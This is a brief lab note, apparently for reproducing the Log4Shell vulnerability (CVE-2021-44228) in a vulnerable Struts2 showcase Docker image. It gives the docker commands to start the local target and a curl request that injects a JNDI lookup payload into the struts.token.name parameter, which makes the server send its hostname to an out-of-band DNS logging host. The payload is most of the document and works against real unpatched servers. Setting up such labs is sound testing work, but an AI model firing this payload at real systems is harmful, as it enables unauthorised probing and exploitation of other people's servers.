路径:struts/apps/showcase
docker pull vultarget/log4j2-struts2-showcase:2.14.1
docker run --name struts2-showcase -d -p 8360:8080 vultarget/log4j2-struts2-showcase:2.14.1
curl -vso /dev/null http://127.0.0.1:8360/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:dns://${hostName}.yourdnslogaddr}'
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis